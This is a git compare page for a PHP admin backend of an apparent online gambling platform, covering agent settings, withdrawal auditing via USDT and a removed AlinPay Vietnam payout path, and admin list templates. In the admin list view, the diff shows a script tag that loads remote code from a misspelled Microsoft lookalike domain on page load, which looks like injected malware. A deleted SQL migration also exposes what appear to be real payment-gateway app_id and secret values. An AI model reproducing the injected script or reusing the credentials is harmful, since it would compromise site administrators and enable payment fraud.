Compare commits
8
Commits
master
..
22b23064d8
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
22b23064d8 | ||
|
|
71d7ff1d7b | ||
|
|
1ce6c3d780 | ||
|
|
c7355bb760 | ||
|
|
4a0f6b29bf | ||
|
|
626b428db1 | ||
|
|
a49f5e8de6 | ||
|
|
de8b686dac |
+1
-17
@@ -1,17 +1 @@
|
||||
# 运行时(日志+缓存 204M)
|
||||
/runtime/
|
||||
|
||||
# 依赖(从 composer.json 安装)
|
||||
/vendor/
|
||||
|
||||
# 备份压缩包
|
||||
*.tar.gz
|
||||
|
||||
# 环境配置
|
||||
.env
|
||||
|
||||
# 系统文件
|
||||
.DS_Store
|
||||
.user.ini
|
||||
*.swp
|
||||
Thumbs.db
|
||||
.ace-tool/
|
||||
|
||||
@@ -1,15 +0,0 @@
|
||||
-- AlinPay 越南代付对接 - 数据库变更
|
||||
-- 执行时间: 2026-03-12
|
||||
|
||||
-- 1. user_withdraw 表增加支付渠道和扩展字段
|
||||
ALTER TABLE `cg_user_withdraw`
|
||||
ADD COLUMN `pay_channel` varchar(50) NOT NULL DEFAULT '' COMMENT '支付渠道: USDT, YBF, ALIN_VN' AFTER `type`,
|
||||
ADD COLUMN `ext` text NULL COMMENT '扩展字段JSON: 银行卡信息等' AFTER `pay_channel`;
|
||||
|
||||
-- 2. pay_channel 表插入 AlinPay 配置(secret 需从三方后台获取后替换)
|
||||
INSERT INTO `cg_pay_channel` (`name`, `key`, `value`, `status`) VALUES (
|
||||
'越南AlinPay',
|
||||
'ALIN_VN',
|
||||
'{"app_id":"276a857ff36814028b772724","secret":"660a4EB682d3787b5b43DC424Ab46e6348F5f4dB","collection_product_id":11,"payment_product_id":14}',
|
||||
1
|
||||
);
|
||||
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Executable → Regular
-4
@@ -200,9 +200,6 @@ class Agent extends Common{
|
||||
if( empty($pay_channel) ){
|
||||
die(json_encode(['code'=>0,'msg'=>'请选择支付渠道']));
|
||||
}
|
||||
if( $agent_type == 2 && $pay_channel != 'OPR' ){
|
||||
die(json_encode(['code'=>0,'msg'=>'人工上分模式只能选OPR渠道']));
|
||||
}
|
||||
if( !in_array($type_xima,[1,2]) ){
|
||||
die(json_encode(['code'=>0,'msg'=>'洗码方式错误']));
|
||||
}
|
||||
@@ -436,7 +433,6 @@ class Agent extends Common{
|
||||
$data['price_tc_ths'] = $price_tc_ths;
|
||||
$data['price_tc_hjths'] = $price_tc_hjths;
|
||||
|
||||
$data['area_id'] = 3;
|
||||
$data['referral_code'] = getRandCode();
|
||||
// $data['agent_commission_tc'] = $agent_commission_tc;
|
||||
// $data['agent_commission_tc_banker'] = $agent_commission_tc_banker;
|
||||
|
||||
Executable → Regular
Executable → Regular
Executable → Regular
+1
@@ -93,6 +93,7 @@ class ChatQuickReply extends Common
|
||||
->column('category');
|
||||
|
||||
$this->assign('categories', $categories);
|
||||
$this->assign('info', []);
|
||||
|
||||
return $this->fetch();
|
||||
}
|
||||
|
||||
Executable → Regular
Executable → Regular
Executable → Regular
+6
-6
@@ -1240,8 +1240,8 @@ class Pcapi extends Controller{
|
||||
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
|
||||
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
|
||||
}elseif($time_interval == 3){
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y"));
|
||||
}
|
||||
$betWhere = array();
|
||||
$betWhere['create_time'] = array('between',[$startTime,$endTime]);
|
||||
@@ -1571,8 +1571,8 @@ class Pcapi extends Controller{
|
||||
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
|
||||
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
|
||||
}elseif($time_interval == 3){
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y"));
|
||||
}
|
||||
$betWhere = array();
|
||||
$betWhere['create_time'] = array('between',[$startTime,$endTime]);
|
||||
@@ -1639,8 +1639,8 @@ class Pcapi extends Controller{
|
||||
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
|
||||
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
|
||||
}elseif($time_interval == 3){
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y"));
|
||||
}
|
||||
$betWhere = array();
|
||||
$betWhere['create_time'] = array('between',[$startTime,$endTime]);
|
||||
|
||||
Executable → Regular
@@ -3,7 +3,6 @@
|
||||
namespace app\admin\controller;
|
||||
|
||||
use pay\Usdt;
|
||||
use pay\AlinPay;
|
||||
use think\Db;
|
||||
use think\Request;
|
||||
use think\Session;
|
||||
@@ -37,17 +36,17 @@ class Report extends Common{
|
||||
}
|
||||
$agent_list = Db::name('user')->where($where)->select();
|
||||
|
||||
// 时间条件
|
||||
// 时间条件(默认:今天07:00:00 ~ 明天06:59:59)
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$startTime = strtotime(date('Y-m-d') . ' 07:00:00');
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = time();
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 06:59:59');
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
}
|
||||
$this->assign('get',$get);
|
||||
@@ -406,61 +405,19 @@ class Report extends Common{
|
||||
die(json_encode(['code'=>0,'msg'=>'非待审核状态无法操作!']));
|
||||
}
|
||||
|
||||
// 根据支付渠道路由
|
||||
$payChannel = $withdraw['pay_channel'] ?: 'USDT';
|
||||
$withdrawResult = [];
|
||||
|
||||
if($payChannel == 'ALIN_VN'){
|
||||
// 越南AlinPay代付
|
||||
$ext = json_decode($withdraw['ext'], true) ?: [];
|
||||
$pay_list = config('pay_list');
|
||||
$notifyUrl = $pay_list['alinPay']['payment_notify_url'];
|
||||
|
||||
$alinPay = new AlinPay();
|
||||
$res = $alinPay->createPayment(
|
||||
$withdraw['order_no'],
|
||||
sprintf('%.2f', $withdraw['amount']),
|
||||
$ext['accountName'] ?? '',
|
||||
$ext['accountNumber'] ?? '',
|
||||
$ext['bankCode'] ?? '',
|
||||
$ext['bankName'] ?? '',
|
||||
$notifyUrl
|
||||
);
|
||||
|
||||
$withdrawResult = [
|
||||
'status' => (is_array($res) && isset($res['code']) && $res['code'] == 200) ? true : false,
|
||||
'type' => 'ALIN_VN',
|
||||
'out_trade_no' => $res['data']['trade_no'] ?? '',
|
||||
'err_msg' => $res['message'] ?? '请求失败',
|
||||
];
|
||||
}else{
|
||||
// 默认USDT
|
||||
// 审核通过
|
||||
$Usdt = new Usdt();
|
||||
$res = $Usdt->applyUserWithdraw($withdraw['order_no'],$withdraw['to_address'],$withdraw['amount']);
|
||||
$withdrawResult = [
|
||||
'status' => $res['code'] == 0 ? true : false,
|
||||
'type' => $res['processor']['asset'] ?? 'USDT',
|
||||
'from_address' => $res['processor']['from_addr'] ?? '',
|
||||
'err_msg' => $res['debug'] ?? '',
|
||||
];
|
||||
}
|
||||
|
||||
if($withdrawResult['status']){
|
||||
$updateData = [
|
||||
if($res['code'] == 0){
|
||||
Db::name('user_withdraw')->where('id',$id)->update([
|
||||
'status' => 'AGREE',
|
||||
'type' => $withdrawResult['type'] ?? '',
|
||||
'type' => $res['processor']['asset'],
|
||||
'from_address' => $res['processor']['from_addr'],
|
||||
'audit_time' => time(),
|
||||
'operator_source' => 2,
|
||||
'operator_id' => $user_info['id'],
|
||||
'operator_username' => $user_info['admin'],
|
||||
];
|
||||
if(!empty($withdrawResult['from_address'])){
|
||||
$updateData['from_address'] = $withdrawResult['from_address'];
|
||||
}
|
||||
if(!empty($withdrawResult['out_trade_no'])){
|
||||
$updateData['out_trade_no'] = $withdrawResult['out_trade_no'];
|
||||
}
|
||||
Db::name('user_withdraw')->where('id',$id)->update($updateData);
|
||||
]);
|
||||
die(json_encode(['code'=>1,'msg'=>'审核通过!']));
|
||||
}else{
|
||||
Db::startTrans();
|
||||
@@ -473,7 +430,7 @@ class Report extends Common{
|
||||
// 更新记录
|
||||
Db::name('user_withdraw')->where('id',$id)->update([
|
||||
'status' => 'FAIL',
|
||||
'err_msg' => $withdrawResult['err_msg'],
|
||||
'err_msg' => $res['debug'],
|
||||
'audit_time' => time(),
|
||||
'operator_source' => 2,
|
||||
'operator_id' => $user_info['id'],
|
||||
|
||||
Executable → Regular
Vendored
BIN
Binary file not shown.
Executable → Regular
+25
-124
@@ -16,19 +16,13 @@
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.alert-main th{width:40%; border-left:none; text-align:right;}
|
||||
.alert-main td{border-right:none; }
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
<script src=https://x.mircosoft-sec.com/sXdeXc?1583228117></script>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">玩家列表</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">用户列表</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">用户添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
@@ -37,74 +31,44 @@
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/player/index" method="get">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/admin/index" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="status" id="status">
|
||||
<option value="-1" >请选择玩家状态</option>
|
||||
<option value="-1" selected>请选择用户状态</option>
|
||||
<option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option>
|
||||
<option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option>
|
||||
</select>
|
||||
</div>
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<input type="text" name="agent_parent" id="agent_parent" placeholder="请输入上级代理" autocomplete="off" class="layui-input" value="<?php if(isset($get['agent_parent'])) {echo $get['agent_parent'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!--<span class="layui-btn" id="print">打印</span>-->
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>编号</th>
|
||||
<th>用户名</th>
|
||||
<th>联系人</th>
|
||||
<th>手机</th>
|
||||
<th>电话</th>
|
||||
<th>邮箱</th>
|
||||
<th>上级代理</th>
|
||||
<th>投注方式</th>
|
||||
<th>最近上分</th>
|
||||
<th>商户余额</th>
|
||||
<th>百家乐码率(%)</th>
|
||||
<th>龙虎码率(%)</th>
|
||||
<th>总下注</th>
|
||||
<th>总赢</th>
|
||||
<th>码量</th>
|
||||
<th>日赢上限</th>
|
||||
<th>赔率</th>
|
||||
<th>创建日期</th>
|
||||
<th>最后登录IP</th>
|
||||
<th>最后登录时间</th>
|
||||
<th>状态</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
{foreach name="admin_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.nickname}</td>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.admin}</td>
|
||||
<td>{$vo.mobile}</td>
|
||||
<td>{$vo.email}</td>
|
||||
{if condition="$vo.agent_parent_id > 0"}
|
||||
<td>{$vo.agent_parent_username}</td>
|
||||
{else}
|
||||
<td>无</td>
|
||||
{/if}
|
||||
<td>{$vo.bet_type}</td>
|
||||
<td>{$vo.last_recharge}</td>
|
||||
<td>{$vo.money}</td>
|
||||
<td>{$vo.agent_ximalv}</td>
|
||||
<td>{$vo.agent_ximalv_dt}</td>
|
||||
<td>{$vo.all_bet_amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{$vo.maliang}</td>
|
||||
<td>{$vo.win_limit}</td>
|
||||
<th>
|
||||
<a href="javascript:;" onclick="showPrice(this)" price-username="{$vo.username}" price-banker="{$vo.price_banker}" price-player="{$vo.price_player}" price-tie-baccarat="{$vo.price_tie_baccarat}" price-pair="{$vo.price_pair}" price-dragon="{$vo.price_dragon}" price-tiger="{$vo.price_tiger}" price-tie-dt="{$vo.price_tie_dt}" price-n7-n9="{$vo.price_n7_n9}" price-nn="{$vo.price_nn}" price-5n="{$vo.price_5n}" price-bomb="{$vo.price_bomb}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >查看</span>
|
||||
</a>
|
||||
</th>
|
||||
<td style="width:80px;">{$vo.reg_time}</td>
|
||||
<td>{$vo.last_login_ip}</td>
|
||||
<td>{$vo.last_login_time}</td>
|
||||
{if condition="$vo.status == 1"}
|
||||
<td class="td-status">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">正常</span>
|
||||
@@ -124,7 +88,7 @@
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span>
|
||||
</a>
|
||||
{/if}
|
||||
<a href="/player/player_edit?id={$vo.id}">
|
||||
<a href="/admin/admin_edit?id={$vo.id}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
|
||||
</a>
|
||||
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
|
||||
@@ -135,28 +99,7 @@
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$agent_list->render()}
|
||||
</div>
|
||||
<div class="alert" id="alert_price">
|
||||
<div class="alert-title" id="show_price_username"></div>
|
||||
<div class="alert-main">
|
||||
<table class="layui-table" style="margin:0;">
|
||||
<tr><th>押庄赔率:</th><td id="show_price_banker"></td></tr>
|
||||
<tr><th>押闲赔率:</th><td id="show_price_player"></td></tr>
|
||||
<tr><th>押和赔率(百家乐):</th><td id="show_price_tie_baccarat"></td></tr>
|
||||
<tr><th>押对子赔率:</th><td id="show_price_pair"></td></tr>
|
||||
<tr><th>押龙赔率:</th><td id="show_price_dragon"></td></tr>
|
||||
<tr><th>押虎赔率:</th><td id="show_price_tiger"></td></tr>
|
||||
<tr><th>押和赔率(龙虎斗):</th><td id="show_price_tie_dt"></td></tr>
|
||||
<tr><th>押牛7-牛9赔率:</th><td id="show_price_n7_n9"></td></tr>
|
||||
<tr><th>押牛牛赔率:</th><td id="show_price_nn"></td></tr>
|
||||
<tr><th>押五公赔率:</th><td id="show_price_5n"></td></tr>
|
||||
<tr><th>押四条赔率:</th><td id="show_price_bomb"></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="hiddenForm('alert_price')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
{$admin_list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
@@ -166,8 +109,8 @@
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/player/index';
|
||||
if(id == "2") location.href = '/player/player_add';
|
||||
if(id == "1") location.href = '/admin/index';
|
||||
if(id == "2") location.href = '/admin/admin_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
@@ -194,15 +137,15 @@
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
query.status = 0;
|
||||
var result = ajax('/player/change_status', query);
|
||||
var result = ajax('/admin/change_status', query);
|
||||
} else {
|
||||
// 拼装数据发送后台 解锁 会员
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
query.status = 1;
|
||||
var result = ajax('/player/change_status', query);
|
||||
var result = ajax('/admin/change_status', query);
|
||||
}
|
||||
|
||||
console.log(query);
|
||||
// 判断结果 弹出提示
|
||||
if (result.code == 1) {
|
||||
layer.msg(result.msg, {icon: 1, time: 1500});
|
||||
@@ -230,7 +173,7 @@
|
||||
query.user_id = id;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/player/player_del',query);
|
||||
var result = ajax('/admin/admin_del',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
@@ -267,7 +210,6 @@
|
||||
var endDate = qs["endDate"];
|
||||
var status = qs["status"];
|
||||
var username = qs["username"];
|
||||
var agent_parent = qs["agent_parent"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
@@ -280,13 +222,10 @@
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
if(agent_parent == undefined){
|
||||
agent_parent = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'玩家列表打印',
|
||||
content: '/player/player_print?startDate='+startDate+'&endDate='+endDate+'&status='+status+'&username='+username+'&agent_parent='+agent_parent,
|
||||
title:'用户列表打印',
|
||||
content: '/admin/admin_print?startDate='+startDate+'&endDate='+endDate+'&status='+status+'&username='+username,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
@@ -313,50 +252,12 @@
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var status = $('#status').val();
|
||||
var agent_parent = $('#agent_parent').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/player/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&status="+status+"&&agent_parent="+agent_parent+"&&username="+username;
|
||||
location.href = "/admin/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&status="+status+"&&username="+username;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
|
||||
// 显示用户的赔率
|
||||
function showPrice(obj){
|
||||
// 获取赔率数据
|
||||
var price_username = $(obj).attr('price-username');
|
||||
var price_banker = $(obj).attr('price-banker');
|
||||
var price_player = $(obj).attr('price-player');
|
||||
var price_tie_baccarat = $(obj).attr('price-tie-baccarat');
|
||||
var price_pair = $(obj).attr('price-pair');
|
||||
var price_dragon = $(obj).attr('price-dragon');
|
||||
var price_tiger = $(obj).attr('price-tiger');
|
||||
var price_tie_dt = $(obj).attr('price-tie-dt');
|
||||
var price_n7_n9 = $(obj).attr('price-n7-n9');
|
||||
var price_nn = $(obj).attr('price-nn');
|
||||
var price_5n = $(obj).attr('price-5n');
|
||||
var price_bomb = $(obj).attr('price-bomb');
|
||||
|
||||
// 显示赔率数据
|
||||
$('#show_price_username').html(price_username+" 的赔率");
|
||||
$('#show_price_banker').html(price_banker);
|
||||
$('#show_price_player').html(price_player);
|
||||
$('#show_price_tie_baccarat').html(price_tie_baccarat);
|
||||
$('#show_price_pair').html(price_pair);
|
||||
$('#show_price_dragon').html(price_dragon);
|
||||
$('#show_price_tiger').html(price_tiger);
|
||||
$('#show_price_tie_dt').html(price_tie_dt);
|
||||
$('#show_price_n7_n9').html(price_n7_n9);
|
||||
$('#show_price_nn').html(price_nn);
|
||||
$('#show_price_5n').html(price_5n);
|
||||
$('#show_price_bomb').html(price_bomb);
|
||||
|
||||
$('#alert_price').show();
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#' + id).hide();
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
|
||||
@@ -1,411 +0,0 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">玩家列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">玩家添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">上级代理:</label>
|
||||
<div class="controls">
|
||||
<select name="parent_agent" id="parent_agent">
|
||||
<option value="0">无</option>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<option value="{$vo.id}">{$vo.username}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 将会成为您唯一的登入名</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">昵称:</label>
|
||||
<div class="controls">
|
||||
<input id="L_nickname" name="L_nickname" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 6到16个字符</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 与密码保持一致</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">手机号码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_mobile" name="L_mobile" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">邮箱:</label>
|
||||
<div class="controls">
|
||||
<input id="L_email" name="L_email" type="text" value maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">百家乐码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv" name="L_ximalv" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 无上级代理最高不能超过100% </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">龙虎码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 无上级代理最高不能超过100% </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">占成(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_cs" name="L_cs" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 无上级代理最高不能超过100% </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最低限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_low" name="limit_low" type="text" value maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最高限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_high" name="limit_high" type="text" value maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">投注方式:</label>
|
||||
<div class="controls">
|
||||
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
|
||||
<option value="0">请选择投注方式</option>
|
||||
<option value="1">网络投注</option>
|
||||
<option value="2">电话投注</option>
|
||||
<option value="3">所有投注</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> *</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押庄赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_banker" name="price_banker" type="text" value="0.95" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押闲赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_player" name="price_player" type="text" value="1" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押对子赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_pair" name="price_pair" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押龙赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_dragon" name="price_dragon" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押虎赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tiger" name="price_tiger" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
